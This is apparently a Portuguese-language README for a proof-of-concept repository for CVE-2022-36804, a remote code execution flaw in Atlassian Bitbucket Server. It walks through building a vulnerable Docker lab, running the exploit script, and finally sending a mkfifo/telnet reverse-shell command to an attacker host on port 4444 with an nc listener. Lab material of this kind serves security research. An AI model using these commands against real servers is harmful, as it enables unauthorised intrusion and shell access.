
⚠️ Apenas para fins educacionais e de pesquisa de segurança autorizada
Muito grato ao autor original do PoC Walnut Security Services Pvt. Ltd
Vários endpoints de API no Atlassian Bitbucket Server e Data Center 7.0.0 antes da versão 7.6.17, da versão 7.7.0 antes da versão 7.17.10, da versão 7.18.0 antes da versão 7.21.4, da versão 8.0.0 antes da versão 8.0.3, da versão 8.1.0 antes da versão 8.1.3, da versão 8.2.0 antes da versão 8.2.2 e da versão 8.3.0 antes de 8.3.1 permitem que atacantes remotos com permissões de leitura em um repositório Bitbucket público ou privado executem código arbitrário enviando uma solicitação HTTP maliciosa. Esta vulnerabilidade foi relatada por TheGrandPew por meio do nosso Programa de Bug Bounty.
Primeiro, clone o repositório
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Mude de diretório
cd CVE-2022-36804
Construa o contêiner vulnerável
docker build -t CVE-2022-36804 .
Execute o contêiner efêmero
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Verifique o endereço IP do contêiner
docker inspect CVE-2022-36804 | grep "IPAddress"
Configure o Atlassian Bitbucket e crie um novo repositório público abrindo a URL: http://172.17.0.3:7990
Verifique a Execução Remota de Código (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Verifique a RCE com comando personalizado (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
Do ponto de vista de um atacante, a execução remota de código é fundamental para obter acesso a um shell interativo. Portanto, executar o seguinte comando acionaria um reverse shell via telnet sobre TCP baseado em bash para o sistema do atacante na porta 4444/tcp:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444